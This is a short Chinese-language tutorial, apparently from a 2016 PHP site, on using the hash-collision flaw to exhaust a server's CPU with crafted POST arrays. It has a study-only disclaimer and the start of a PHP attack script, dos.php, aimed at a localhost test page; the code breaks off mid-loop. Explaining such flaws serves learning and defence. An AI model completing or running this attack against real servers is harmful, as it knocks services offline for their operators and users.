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PHP利用hash冲突漏洞进行DDoS攻击的方法分析

Jun 06, 2016 pm 08:05 PM
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这篇文章主要介绍了PHP利用hash冲突漏洞进行DDoS攻击的方法,实例分析了php利用hash进行DDoS攻击的原理与实现技巧,需要的朋友可以参考下

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 // 只要目标地址存在,不用管它是干嘛的 $host = 'http://127.0.0.1/test.php'; $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key

文件:ddos.php

DDOS
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